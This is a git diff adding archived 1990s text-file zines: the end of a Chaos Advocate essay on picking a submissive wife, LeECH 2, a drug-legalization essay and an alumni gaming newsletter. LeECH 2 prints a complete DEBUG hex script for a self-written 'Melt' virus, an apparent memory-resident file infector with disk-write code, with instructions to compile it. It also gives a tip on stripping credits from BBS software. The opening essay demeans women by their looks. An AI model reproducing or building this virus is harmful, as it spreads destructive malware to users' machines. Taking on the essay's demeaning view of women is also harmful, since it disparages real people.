NOT SO PRETTY + + Every one likes a pretty girl on his arm and all cats aren't the +same in the dark, not if one weighs one hundred pounds and the second +one breaks the scale at three fifty. Still, homely women can make damn +fine lovers, and grateful ones too. There are thousands of women who +have given up the hope of ever being held, cuddled, and loved because +their parents never paid to get their teeth straightened, their +features don't quite fit together, their breast are too small, their +hips are too thick, or their hair too thin. When you meet one, make +her day and give her a smile. You might find there is a nice person +there, one that would be only too happy to play the old fashion game +of helpmate, if some man would only give her a chance. You'll be +surprised how pretty they can be in the dark. + So what if your friends smirk whenever you show up in public. +When they're home begging the stunning beauty they married for another +tiny bit of the loving she hands out once every two weeks, you'll be +sacked out and sound asleep, the dark hiding the silly smile on your +face the same way it hides your wife's crossed eyes or dumbo ears. + If you absolutely have to have a stunning blond hanging on your +arm whenever you show up in public, hire one for the occasion. +Believe me, it will be cheaper in the long run. + + THE RELIGIOUS LADY + + Don't forget about the woman who thinks Phyllis Shafley is +right, the girl who believes that God intended for the man to rule and +the woman to obey. However, move carefully here, unless you share +those same religious beliefs. If you don't, expect her to spend half + +PAGE 27 + +her life trying to save your soul. Worse yet, sometime the religious +ones have been so sold on sex being evil, they never get over it being +a no-no. They'll let you, because the priest tells them they have to, +but they won't enjoy it, and neither will you. + + THE DIVORCED AND THE WIDOWED + + The older you get, the more of these there are going to be in an +age group that fits your needs. There will be so many of them by the +time you reach sixty, you may not even need to take a housewife to +make sure you get all you want. Way back when I was a kid I knew a +fellow named Chester who was sixty-five. He had a stable of women +hauling his ashes that would have done a Mormon patriarch proud. His +only problem was scheduling which one was putting out on what night. + Still, it's not just sex we're talking about, it's the other +goodies that go with living with a woman. If you're still healthy, +able to pay the bills that come from supporting a woman, and look like +you have a few more years, the widows and the divorcees, especially +the ones with children, will be lining up to listen to your offers. + + ONCE YOU'VE GOT ONE PICKED OUT + + The real problem isn't finding a helpmate, it's the hard +bargaining you have to engage in to make sure you get what you want. +No matter where you find the woman, the key point is making it clear +before she moves in exactly what the deal is. You'll be the one who +earns the salary, she'll take care of the housework, and you decide +when it's time to not make love. If you want to really be smart, +you'll put it in writing, along with some very clear understandings +about how you divide up the property and the kids if you decide she's +no longer living up to her share of the bargain. + The modern American woman working beside you at the office will +hate you for it. She'll sneer at you, call you a pig, and try to talk +your wife out of the happiness you both have. She will also spend a +lot of time wondering why she can't have what that poor, foreign, +uneducated, homely twit waiting for you at home has--a man who acts +like he wants to act, not like NOW thinks he should act. + I ought to make it clear here that I like the modern, educated, +career oriented American woman. I've always liked bright, intelligent +ladies. I agree they must be paid exactly what a man is paid if they +are doing the same kind of work, and I have absolutely no problems +taking orders from one if she happens to be the boss. At different +times, I've worked for three different women and I got along great +with all of them and promotions from two of them. I agree that they +have every right to work free of sexual harrassment with the full +respect of their co-workers. + Some modern, educated American women even make good housewives. +There are those who have figured out that being a wife and a mother +can be just as rewarding and certainly as important to society as any +job they could ever find. If you find one of those, you may have +found the best of everything. + +EDITOR'S OFFER: EVERY HUMAN BEING IS ENTITLED TO FIND HIS OR HER OWN +HAPPINESS, INCLUDING HAPPINESS IN MARRIAGE AND FAMILY LIFE, THROUGH +THE BARGAINING PROCESS. WE WOULD LIKE TO PRINT A COUNTER-PIECE TO THE +ABOVE ARTICLE, WRITTEN BY A WOMAN AND SUGGESTING HOW THE MODERN +AMERICAN WOMAN CAN BEST FIND THE KIND OF MAN SHE WOULD LIKE TO SHARE +HER LIFE WITH AND WHAT KIND OF BARGAIN SHE WOULD LIKE TO MAKE WITH +SUCH A PERSON. WE PROMISE WE WILL PUBLISH IN A FUTURE ISSUE OF *THE +CHAOS ADVOCATE* THE BEST SUCH PIECE SUBMITTED TO US. + +PAGE 28 + + + *----------------------------* + | WANTED: A FEW GOOD WRITERS | + *----------------------------* + + We are looking for a few good creative writers, philosophers, and +political theorists who are committed to the idea of personal freedom +in all things. If you have something to say on this subject, let us +include it in this electronic magazine. We are especially interested +in personal experiences and practical advice that explain how an +individual can maximize his or her own personal freedom in confronting +and surviving the suppressive institutions of culture, state, church, +school, and corporate business. We will also consider good fiction +that deals with the same set of problems. + + For legal reasons we will not publish anything that advocates +specific criminal activity nor anything that libels or slanders a +living human being or legal person. Other than that, we will give +serious consideration to any manuscript that advocates chaos and +freedom. + + We can not offer authors any recompense other than the chance to +get published in an electronic medium. We welcome articles that have +been previously printed in other medium, provided the person making +the submission has the legal right to put the manuscript into +publication. + + Anyone submitting an article for publication in THE CHAOS +ADVOCATE will retain all rights to the article or story except for the +electronic publication of the article in a single issue of this +electronic magazine. + + Writers wishing to submit articles and essays for publication can +upload them to any one of the following E-mail addresses. + + Compuserve: 72037,2673 + Delphi: MACKTANNER + The Rational Life Bulletin Board + 615-433-7869 + Fidonet node number 1:116/38 + Internet: Mack.Tanner@f38.n116.z1.fidonet.org + + We welcome queries and comments. + + + \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/lch2-001.txt b/textfiles.com/magazines/MISC/lch2-001.txt new file mode 100644 index 00000000..6aeb1caa --- /dev/null +++ b/textfiles.com/magazines/MISC/lch2-001.txt @@ -0,0 +1,106 @@ + ÜÜßßÜÜ + Û Û + Ü Û ÜÜÜÜ ÜÜÜ Ü Ü + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Û ÜÜÜ ß Û Û ß ÛÜÜÛ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Û Û ÜÜß Ûßß Û Û Û ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + ÛÜÜÜ ßÜÜÜÜß ÛÜÜÜ ßÜÜÜß Û Û +LeECH 2 Ü ÜÜ +November 1994 Û ÜÜßß + ßßÜÜßß + + + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + Introduction + +After a loooong time, I have decided to start up LeECH again with LeECH 2. A +lot of people didn't know why LeECH broke up. Well...here's why. It broke up +in the summer after I got arrested for manufacturing and detonating illegal +explosives (making and lighting off pipe bombs). After that, my piece of shit +computer was confiscated. LeECH went down as did Realm Of The Undead. + +Since then I have changed my handle to Fl0yd, changed my BBS name to ViBE, +and now I'm starting up LeECH again. If you are interested in writing, give me +a ring. I'm looking for as many writers as possible. + + ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß + +Ûßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ +Û Contents Û +ß Û +Û 01...Cracking Renegade 08-01..........................By Fl0yd ß +Û 02...Debug source code for Melt virus.................By Fl0yd Û +Û Û +ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ßßßßß + + +ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +² 01...Cracking Renegade 08-01 ² +ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +There is a way to hack Renegade 08-01 to and make it look like your own BBS +software, such as Renegade-X or Renegade/2. It's VERY easy also. + +Ok...here's what you do. Run RG801FIX.EXE, which will take out the author's +comments (Renegade Bulletin Board System Ver 08-01 Exp...all rights...blah). +Then, create your PRELOGON.ANS to have a CLS in the beginning, then put whatever +you want. Mine was Renegade/2 when I first hacked it. + +ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +² 02...Debug sourcce code for Melt virus ² +ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +This is a virus I wrote in Debug. It is a variation of Acid...but I like to +call it melt (get the picture?) + +---CUT HERE---CUT HERE---CUT HERE---CUT HERE---CUT HERE---CUT HERE---CUT HERE--- + +n melt.com +e 100 E8 00 00 5D 81 ED 03 00 B8 FF A0 2B DB CD 21 06 +e 110 81 FB FF A0 74 58 B8 21 35 CD 21 89 9E 9E 02 8C +e 120 86 A0 02 8C D8 48 8E C0 26 80 3E 00 00 5A 75 7C +e 130 26 83 2E 03 00 2E 26 83 2E 12 00 2E 26 A1 12 00 +e 140 8E C0 26 C6 06 00 00 5A 26 C7 06 01 00 08 00 26 +e 150 C7 06 03 00 2D 00 40 8E C0 8D B6 00 00 2B FF B9 +e 160 62 01 F3 A5 06 1F B8 21 25 BA BB 00 CD 21 07 B4 +e 170 2A CD 21 3C 01 74 24 81 FC CD AB 75 2F 06 1F 8C +e 180 C0 05 10 00 2E 01 86 99 00 2E 03 86 9C 02 FA 8E +e 190 D0 8B A6 9A 02 FB EA CD 20 00 00 E4 40 86 C4 E4 +e 1A0 40 92 B9 01 00 B8 02 00 CD 26 EB CB 0E 1F 0E 07 +e 1B0 BF 00 01 57 8D B6 97 00 A4 A5 C3 3D FF A0 74 24 +e 1C0 53 51 56 57 06 52 1E 50 80 FC 4B 74 6E 80 FC 11 +e 1D0 74 14 80 FC 12 74 0F 58 1F 5A 07 5F 5E 59 5B 2E +e 1E0 FF 2E 9E 02 93 CF 9C 2E FF 1E 9E 02 2E A3 AA 02 +e 1F0 50 56 9C 8B F4 8B 04 89 44 0A 9D 5E 58 84 C0 75 +e 200 2D B4 51 CD 21 8E C3 26 3B 1E 16 00 75 20 B4 2F +e 210 CD 21 80 3F FF 75 03 83 C3 07 8B 4F 17 83 E1 1F +e 220 83 F9 1F 75 09 81 6F 1D 9E 02 83 5F 1F 00 58 1F +e 230 5A 07 5F 5E 59 5B 2E A1 AA 02 CF 1E 52 0E 1F B8 +e 240 24 35 CD 21 89 1E A2 02 8C 06 A4 02 B8 24 25 BA +e 250 74 02 CD 21 5A 1F 0E 07 B8 00 43 CD 21 51 B8 01 +e 260 43 2B C9 CD 21 72 0A B8 02 3D CD 21 93 0E 1F EB +e 270 0A 59 58 1F 5A 50 E9 83 00 4B 57 B4 3F B9 1A 00 +e 280 BA AA 02 CD 21 B8 00 57 CD 21 89 0E A6 02 89 16 +e 290 A8 02 83 E1 1F 83 F9 1F 74 54 81 3E AA 02 4D 5A +e 2A0 74 6C 81 3E AA 02 5A 4D 74 64 BE AA 02 BF 97 00 +e 2B0 A4 A5 B8 02 42 2B C9 99 CD 21 2D 03 00 C6 06 AA +e 2C0 02 E9 A3 AB 02 B4 40 B9 9E 02 99 CD 21 B8 00 42 +e 2D0 2B C9 CD 21 B4 40 B9 1A 00 BA AA 02 CD 21 B8 01 +e 2E0 57 8B 0E A6 02 83 C9 1F 8B 16 A8 02 CD 21 B4 3E +e 2F0 CD 21 59 58 1F 5A 50 B8 01 43 CD 21 1E 52 B8 24 +e 300 25 2E C5 16 A2 02 CD 21 5A 1F 58 E9 CC FE 53 C4 +e 310 06 BE 02 A3 97 00 8C 06 99 00 C4 06 B8 02 8C 06 +e 320 9A 02 A3 9C 02 83 06 B4 02 2E A1 B2 02 B1 10 F6 +e 330 E1 50 B8 02 42 2B C9 99 CD 21 59 52 50 2B C1 83 +e 340 DA 00 89 16 C0 02 A3 BE 02 89 16 B8 02 C7 06 BA +e 350 02 CD AB 58 5A 05 C4 02 83 D2 00 B9 00 02 F7 F1 +e 360 50 0B D2 74 01 40 A3 AE 02 58 80 E4 01 A3 AC 02 +e 370 5B E9 51 FF B0 03 CF 5B 42 69 6E 61 72 79 20 41 +e 380 63 69 64 5D 00 28 63 29 20 31 39 39 34 20 45 76 +e 390 69 6C 20 41 76 61 74 61 72 00 2B 00 69 23 +rcx +29A +w +q + +---CUT HERE---CUT HERE---CUT HERE---CUT HERE---CUT HERE---CUT HERE---CUT HERE--- + +Cut that out and put it in a tfile, then run DEBUGNUL and it'll com- +pile it for you. diff --git a/textfiles.com/magazines/MISC/legalhi.bom b/textfiles.com/magazines/MISC/legalhi.bom new file mode 100644 index 00000000..c4140c8f --- /dev/null +++ b/textfiles.com/magazines/MISC/legalhi.bom @@ -0,0 +1,123 @@ + The BëM Squad + presents + "Should Drugs be Legal?" + by + Mr. Sandman + 10/14/93 + + þDisclaimerþ + + There is no need for a disclaimer in this article being that + it deals purely with opinion. If you don't like it then + don't read it! My views are not necessarily the views of the + BëM Squad. + + þ Should Drugs be Legal? þ + + This question has been asked many times throughout the years +and it seems that even though our country continues to fight this +so called "war" on drugs their use has not really declined. It is +necessary to look at both sides of this issue before one can make +a final conclusion. Let us look at why they are illegal and why it +is wrong or hypocritical that they are illegal. + Many people feel that drugs hurt people and their families and +a sad thing is that drugs can do this. However, is that a +reasonable cause to make them illegal? No. It is possible for any +substance to do this but that is the fault of the person who uses +it. Also, the government does not seem to care about this anyways. +For example, alcohol has been known to destroy more people and +families than most other substances. Yet is it illegal? Hell no! +The argument here is that the use of alcohol can be controlled. It +is also possible for people to control their drug use. Also, it is +hypocritical for the government to keep alcohol legal when it does +the same damage as drugs. You will also notice that cigarettes are +also legal and they can give cancer to those who smoke them and +those who are around people who smoke them. Yet for some reason +they are legal. Are you seeing any flaws in the claim that the +government keeps drugs illegal because they hurt people? I hope so +because they are numerous. + What most people seem to think is that alcohol is harmless +compared to let's say marijuana for argument sake. What people fail +to realize is that both do damage. Look at it this way: If you get +a buzz from it you are doing damage to your body. They have linked +the use of marijuana to impotence and Alzheimer's Disease. Alcohol +can also cause Cirrhosis of the Liver, brain hemorrhaging, death if +too much is consumed, and it also causes Alzheimer's Disease. Not +once have I heard of anyone dying because they smoked too much +marijuana but how many times have you heard of people dying because +they drank too much? Alcohol can actually be more dangerous than +marijuana and yet it is marijuana that is illegal. Once again, a +flaw in the claim that drugs are illegal because they harm you. + Another reason as to why drugs are illegal is that fact that +they alter peoples' moods and states which can cause bad things. +One of the great fears is that people will drive while they are +high. However is this a reason to keep them illegal? No. Alcohol +is legal and yet people drive on it all the time. However, it is +illegal to drive drunk. A law could also be passed to make it +illegal for one to drive while they are high. If people are +responsible for their actions when they are drunk then they can +alsobe responsible when they are high. + Then of course there is the great fear of, "What will happen +to our country if drugs are legalized? Everyone will turn into +zombies!" This is an exaggeration and also not anyone's business. +If people want to be zombies then it is their right to do so. It is +not illegal for anyone to be drunk all the time and yet it hasn't +messed up the country. The same would probably happen with drugs. +Just because they are legal does not mean that people would use +them all the time. In fact, usage would most likely go down due to +their availability. If it is an easy thing to get drugs then it +wont be a big deal for someone to have them and the urge wont be as +great to do them. You may have a little boom in their usage like +the usage of alcohol after prohibition but this would not last +forever. + Lets start looking at how the country could benefit if drugs +were legalized. Right now it is obvious that our economy is majorly +fucked up due to our national deficit and it is greatly affecting +our lives. Nobody wants to pay taxes in order to do away with this. +The legalization of drugs would greatly help our economy. Drugs +could become a totally government owned industry our drugs could +just be taxed to the extremes. By just legalizing Marijuana we +could generate a hell of a lot of money which we could put towards +the deficit. No Republicans our Democrats should have any +objections to this because taxes would not have to be raised. + Another benefit is where we could direct our crime +enforcement. A great deal of money is spent by the government to +fight a war on drugs and as we know drugs are one of the main +contributors to crime. If we legalized drugs we could cut off most +organized crime rings by the balls and they would have to go back +to the old days where they controlled gambling and prostitution. +The police could then focus their efforts on capturing murderers +instead of going after people who are just looking for a good time. +Millions of dollars would also be freed by this since the +government wouldn't have to finance a drug war which could all go +towards the deficit. + And last, but definitely not least, drugs should be legal +simply because people want them. Is it really the governments +business what chemicals we are putting into our body? No! And does +the government even really care what chemicals we put into our +body? Of course not because known substances which do damage are +still legal (ie. NutraSweet, Saccharin, Cigarettes, and Alcohol.) +If people want to do damage to their bodies then they should be +allowed to. Our bodies do not belong to the government! Therefore +the government should not say what people can and can't ingest or +inject into their bodies. The government belongs to the people so +if people want to be able to legally purchase drugs then they +should be able to. + However, drugs will not be legalized for many reasons. The one +theory I tend to believe is this. The alcohol has a heavy lobbying +group which gives money to the government in order to keep drugs +illegal. They do this because if drugs were legalized then they +would lose all the business of the teenagers which buy their +products. What teenager is going to go and buy a bunch of beers +for everyone at a party to get drunk on if he can go and buy a +little marijuana and get everyone feeling great without any +hangover effects afterwards? It is obvious that no teenager would +do this and that is one of the main reasons for drugs remaining +illegal. If people really want to see drugs legalized then they +must start a lobbying group of their own which can eventually +overcome the alcohol lobbyists. Talks and debates are not going to +do a thing because the government does not care. It is a money +thing. The day this happens is the day you will see drugs legalized +but this will probably not happen for a very long time if at all. + +  \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/legion-06 b/textfiles.com/magazines/MISC/legion-06 new file mode 100644 index 00000000..4cff654e --- /dev/null +++ b/textfiles.com/magazines/MISC/legion-06 @@ -0,0 +1,1223 @@ +>From Aylott@world.std.com Fri Jan 28 10:16:38 EST 1994 + +LEGION OF BITTER ALUMNI #6 +-- The Online Edition -- +November 26, 1993 + + +In this Issue . . . +EDITORIAL RANTS + -- "A Humble Editorial Welcome with Very Little Ranting, + Really" by Chris Aylott +"Red Iguana Over China" + -- by Jon Young +"Virtual Gibson" + -- by Arielle Kagan and Shawn Masters +ON BEING A MINOR FIVE-STAR GENERAL #4: + -- "Everything I Learned, I Learned in Third Reich", by Jon + Howard +RANTS AND RAVES #3: + -- "Spammin'" by Tom Janulewicz +"Politics, Economics & Role-Playing: How to Design and Run a + Fantasy RPG World" + -- by Bill Ayres +Review: GURPS Vampire: the Masquerade + -- by Tom Tomlinson +"Archetypes and Comic Books: The Fall of the X-Men" + -- by Becky Teed +"Can't Take Trek? Try This" + -- by Toby Elliott +Reprint: "What's REALLY Happening with Star Trek:Voyager. + No, Really!" + -- from an Internet post by Keith Loh +Reprint: "My Trek is Better than Your Trek" + -- from America On-Line's "Dateline: Starfleet #39", by + Dayton Ward + +--------------------------------------------------------------------------- +EDITORAL RANTS: +"A Humble Editoral Welcome with Very Little Ranting, Really" +by Chris Aylott + + Welcome to the first electronic issue of Legion of Bitter Alumni! + Our story so far: first, you see, there was this Federation +peacefully exploring the galaxy, and one of its finest captains was the +charismatic young James T. Kirk. But he got old and fat and his toupee was +much more obvious than in the TV series, so they came up with a young crew +led by a Frenchman who wasn't ashamed to be bald. But the new crew was +boring, because everybody got along and nobody had personalities, much less +personality problems. So they came up with a new crew, and while the +Starfleet people in the crew are still squeaky clean, there's some +reasonably -- interesting -- people to keep them on their toes... that's +not it, is it? + OK, you see, Brenda and Dylan were crazy at each other at first +sight, but her father didn't like him, so they ran away and the father +became controller of Dylan's trust when Dylan's mother. . . and then +there's Kelly . . . um . . . + Once more. + There were these silly college students who formed a roleplaying +organization and called it the Williams Association of RolePlayers, and +they decided to have a newsletter called "WARPfactor". And it was good, if +occasionally irregular, and rapidly progressed form MacWrite, scissors and +glue to Pagemaker and even a review by Steve Jackson, who thought we were +very silly people. But all good college students had to graduate, as did +one of the original "WARPfactor" editors (who wasn't particularly good but +wasn't bad enough to get thrown out, either) and he got bored sitting +around in his meager excuse of a life. So he went out, got "Express +Publisher" (never wanting to see glue and scissors again -- shudder), and +harassed all his friends and made them write stuff to put in it. He's +managed to successfully harass them on a quarterly basis ever since, and so +there became the paper edition of "Legion of Bitter Alumni", the Melrose +Place to "WARPfactor"'s 90210. Same plot-lines, but "Legion" writers take +off their shirts. + And it came to pass that your humble editor heard about the +formation of the Metaverse, finally got himself an Internet account, and +realized he could inflict tortured prose on a much wider potential +audience. You've got the results in your virtual hands. Same "Legion", new +format. Submissions welcome. + Enjoy. + +Legion of Bitter Alumni is a product of Blue Vial Comics, which is to be +found at the real world address of 190 Holland St. #1, Somerville, MA +02144, the virtual reality address of 190 Henson Street in Steve Jackson +Games' Metaverse (metaverse.io.com), or the Compuserve address of +70641.2064@compuserve.com. Submissions, comments and/or monetary donations +are happily accepted, and I like submissions and comments best. Excerpting +or copying Legion is fine as long as you give credit. +--------------------------------------------------------------------------- +"Red Iguana Over China" +by Jon Young + + BEIJING, CHINA --Well, it's official. My life has dwindled to the +point where I have no recourse but to write for Legion. Somehow I always +expected that there'd be more perks after ascension to the hallowed ranks +of Fat-Old-Alumni (TM) -- I don't even get discounts at +fine-dining-establishments-in-my-local-area for crying out loud. I also +almost achieved my Buddha nature right after I got here when one of my new +friends said "Oh, you went to William and Mary!" Sometimes you just have to +cry. + Every once in a while, I have to stop and ask myself what I'm doing +out here. I'm at least 6800 miles from Nick's Roast Beef (TM), the pay is +laughable and the workload can be bruising, so why have I left the warm +and fuzzy confines of the Purple Valley for the closest thing we have left +to an Evil Empire? (This must be where they go between Trivias.) Well, like +the rest of you, I was brutally cast out of paradise into the cruelty that +we alumni-types like to call the world. Some of us just got cast a bit +farther than others, that's all. + Upon closer inspection, China is pretty cool (we had a foot of snow +yesterday -- scratch that it's freezing)! The gaming scene, predictably, +sucks Janulewiczian weasel spit (TM) as does the ability of my students to +understand our twisty friend -- no, not Aylott -- the WARP/Williams +dialect. I suppose it must be some kind of omen that during the first +get-to-know-each-other meeting at the Foreign Languages Department, someone +said "Oh, Jonathan, you have some mail" and pulled out Legion #5, which had +cleverly been mailed several days before I left. Trying to explain Legion +to a bunch of relatively mundane-types that I will have to work with for +the next year, in Chinese no less, was not exactly the way I had envisioned +starting out the new year. + Many things here are basically the same, gravity for one, but in +most respects China's #1 university (they keep a list) is completely +different from Billsville. The entire student body of Williams could likely +find useful employment here as additional omnipresently decorative gate +guards without anyone noticing (heaven knows we have enough trouble finding +jobs in the States). Stacked six to a room, we wouldn't even take up a full +dormitory. The campus is, to put it mildly, bloody large. With a couple of +bustling markets, several restaurant/karaoke bars, a post office, two banks +(neither of which deal in foreign exchange); a personal nuclear reactor +simulator that they seem reluctant to let me play with, a swimming pool +that foreigners are not allowed to swim in +and two 20+ story high rises, the campus alone is better equipped than +Williamstown. Then again, so is your average Eagle Scout, but with with the +wall surrounding the campus, it seems an appropriate +James-Bond-supervillian hideout (sans Fred). + The academic system is a bit different as well. I'm not sure how +well we would have responded to mandatory 6 AM outdoor aerobic workouts +(well, I am sure how one of us would have reacted . . .). Williams teacher +and class evaluations are a bit tame by local standards; after each +semester, students complete a questionnaire evaluating their classmates' +(those from the same department anyway) moral character and work habits. +Call me cynical but I don't know if our perpetually blissful contentment +with each other would allow us to match the near universal conspiracy to +simply give each other perfect score each time. + Luckily, as a teacher I am exempt from almost all of that. I have +my own room in the foreign student's dormitory with an included bathroom +(rent-free and occasional hot water). I don't have to do the exercise, +which is a good thing, (neither do the graduate students) and I only have +to report someone if I feel like it. + As some other Williams veterans no doubt have noticed, teaching +classes differs from taking classes in several key aspects. Perhaps the one +with the most immediate effect on me personally is that there is a somewhat +larger stigma attached to simply sleeping in. I suppose it couldn't go on +forever. In some ways, classes here take after the old Pasachoff model - I +only record grades and scores so I can tell the department if one of the +students should not get the traditional 87. + Still, there is more than enough work to keep one busy out here. +The other teachers, understandably, want a chance to practice English with +native speakers and, like clockwork, one of them comes by every time I +visit the office to try to get me to edit a textbook or record a tape for +them. I think they have worked out some kind of schedule and are tracking +my movements. + Teaching basic English to graduate students can be wacky on its own +rights of course. I just finished correcting a series of basic compositions +where the assignment was to present the basic advantages and disadvantages +of automobiles; pretty tame stuff really. One set of papers was full of +wild technical descriptions of engine internals and (largely correct) terms +I had to look up. I checked my records and sure enough, that was the class +of students going for Ph.D.'s from the department of Automobile +Engineering. They have some of the best departments here, anyone for a +Precision Instruments degree? How about +Air-Conditioning Systems? No History department, but we do have English +majors. It's funny though, they don't seem to have as much trouble getting +jobs. (Go GO Gadget Toby!) + The social scene, such as it is, is better than I had expected. +There aren't all that many foreigners around, but one has a son who attends +the international school and so therefore has access to the library. We +have worked out a deal: he brings me SF to read and I let him play +Civilization. If I could only cure him of Xanth, I'd be in business. After +attending a big foreigner get-together, I have achieved my highest honor to +date -- egg-toss champion of Beijing. (It's the sport of the 90's -- look +for it at WARPCon II, sometime that's not all that soon!) There is also an +amusement park in central Beijing that has largely been imported from the +States, complete with genuine products of the Tilt-A-Whirl (TM) company. It +seems, however, that they sent the rides with instructions in Chinese only +so that when preparing the bilingual signs a local re-translation had to be +made. This has resulted in a huge sign in front of the rollercoaster +touting the virtues of China's first, largest and most exciting "Loop and +Screw Ride!" + In short, life here is (at least for now) wacky enough on its own +that the lack of many of the, ummm, special features of western society +hasn't been too much of a problem so far. Even if it does become a problem, +it is possible to find some things out here. I had great fun watching +Robotech in Chinese (sadly I missed Macross) and even stumbled upon +Supergirl, dubbed and cut into ten 20 minute episodes. Try explaining that +to six of your students who had come over for spaghetti and donuts. + Paintball, alas, is nowhere to be found but in a burst of +capitalist fervor there is an army unit outside of Beijing that allows +foreigners (for a reasonable fee in foreign currency) to exercise on their +base with their weapons and live ammunition. (Automatic weapons and rocket +launchers even -- when shall I expect you, Ed?) It's amazing what can +happen in a system without the basic concept of a lawsuit. I have not +checked this out personally yet, but if winter gets long . . . + +--------------------------------------------------------------------------- +"Virtual Gibson" +By Arielle Kagan and Shawn Masters + + William Gibson appeared at Olsson's Books in Washington, DC this +August, reading, signing and otherwise promoting his recent novel Virtual +Light. He attracted several hundred people, ranging from fortyish men in +business suits to young teenagers in grunge to Karl Galle '91. + Gibson emerged from the back room after the crowd had wedged itself +into every nook of the bookstore, accompanied by his manager, his manager's +girlfried and a few store employees. He wore black, was rather hunched +over and quickly settled behind a Powerbook 170 lent to him by his +publisher to pull his manuscript up. "Hmmm..." he said. "It's got a clock +thing now . . . clock's still there . . . just have to get this file up". +Cutting-edge cyberpunk writer William Gibson can barely use a computer, let +alone program virtual reality scenarios. The manuscript was finally loaded, +however, and Gibson began to read. + Virtual Light revolves around the theft of a pair of virtual +reality glasses. While the setting is closer to contemporary than +Neuromancer and its related stories, the excerpts read suggest the book is +still replete with anecdotes, advanced technology and creative wordings. +Gibson describes a cryogenically preserved brain, wrapped in tinfoil and +looking "like a baked potato". The protaganist is told he resembles Tommy +Lee Jones, and Gibson immediately segues into an explanation of how the +police search for suspects. Showing a photograph of a suspect is old hat -- +the police of Virtual Light run the suspect's picture through a computer, +analyze its similarity to pictures of celebrities, then ask people if +they've seen a man who resembles celebrity A, B or C. This leads the +protagonist to suggest that there is a lobe of the brain which keeps track +of celebrities . . . + A question and answer session followed the reading. The answers +according to Gibson: + How did you and Bruce Sterling collaborate on The Difference +Engine? The entire book was written on "a stack of floppies and some old +Apple computers". Gibson and Sterling would pass the disks back and forth +between them -- one would write for a while and give the disks to the +other, who would write on the same disks over the previous work. The book +never existed as a hard-copy draft, and if a favorite section was +overwritten, it would have to be reconstructed from scratch if at all. + Do you get the ideas for your settings from living in places, +visiting them, or wanting to go to them? "All of the above," says Gibson, +adding that his writing was influenced heavily by the music he listened to +at the time -- this explained the number of Steely Dan references in +Neuromancer. . . + Do you care about ripoffs of your work? Not much, apparently. +Gibson said he felt it was something that goes along with capitalism in +general. He wasn't at all upset by the Neuromancer comics, and seemed +pleased by how quickly Agrippa had been decoded and placed on the Net. +Gibson even encouraged the audience to take advantage of the current +economic atmosphere, go along with this capitalist trend, and come up with +more ripoffs. + What about the rumors of a Neuromancer movie? While there has been +considerable speculation on the Net about a possible movie (rumors of +Swarzenegger or Rutger Hauer in lead roles abound, along with suggestions +-- please, no -- of Winona Ryder as Molly), Gibson expressed doubt that any +such movie would be out in the near future. It was unclear whether he felt +such a production would be a while in the making or whether he doubted it +would be made at all. +--------------------------------------------------------------------------- +ON BEING A MINOR FIVE-STAR GENERAL +"Everything I Learned, I Learned in Third Reich" +by Jon Howard + + Yet again, I'm going to not review a wargame. Aylott sent me a +suggestion for a great column, which I using here. (Flattery will get you +printed . . . -- ed.) Basically, the idea is: so playing wargames is great +fun, yeah yeah. Is that it? + Nope. + What you learn in wargames is applicable to Real Life. Let me give +you some examples. + 1: Wargame tactics are useful in other games. For instance, +Kirsten and I were recently given Pool of Radiance, a computer AD&D game +and a good one, at that. In it, the PCs' party frequently goes up against +hordes of orcs, goblins, etc -- I've seen 50 on 6 and worse. In those +encounters, wargaming tactics are necessary to keep your party from being +squished. You need to think about flanking maneuvers, combined arms (magic +and swords), reserves (both keeping people back and keeping an eye on your +hit points), protection of fragile artillery (magic-users), and so on. + So? I said Real Life up above. + 2: In wargames, you always want a reserve force to plug a hole in +your line if something goes wrong. That's why the US Army sets up its units +in threes, as in three battalions in a regiment -- two move forward and one +is held in reserve. When you run out of reserves, you run out of luck. +Same in real life. If you have an unexpected expense, it's much better to +have a financial reserve to deal with it rather than scramble to find some +way of putting it off. The people who live paycheck to paycheck are the +ones in trouble (uh oh -- ed.). How many times did something interrupt +your studying at Williams? It was a good idea to schedule more time to +studying than it would actually require, just in case. + 3: Your plan may look perfect and feel perfect, but something will +go wrong with it. Your crack elite Guards unit will flail on that 5-1 +attack. Your weapon will jam right when you need it. You'll mess up the +movement of units and leave the tanks stuck behind the infantry. The armor +will take a little too long to arrive (Arnheim on the Western Front). The +enemy's crack elite Guards unit will be right where you don't want it to +be. Something will go wrong. Whether or not you are prepared for that +wrong thing to happen sometimes determines how well it will turn out. + 4: It's not as bad as it seems. Your situation may look bad to +you, but your opponent's position looks equally as bad to him/her. Once I +played a game where I found myself in a miserable position at the end of +turn two. I was sure my opponent was about to pound my entire line and +probably break it. After studying the board, my opponent announced that +his position was so bad that he was going to concede. This is a result of +#3 -- things may go badly for you, but they will go just as badly for the +other person. + There's a corollary to this. Assuming your opponent will find +himself in dire straits, you might think that means you should "nail him +whenever possible". Well, yes, but just enough to ensure a win. After +all, you'll probably be playing against the same person again. If you +pound on someone when you don't really have to, they'll remember. + 5: Sometimes an "advance in the opposite direction" is your best +bet. Know when to you have to back off. If your carrier battle group in a +game of Harpoon (Three-Sixty Pacific, Inc) is being destroyed in the North +Sea, pull it back to the North Atlantic. If a bulge in your line is +guarded by weak forces, pull it back or it'll get 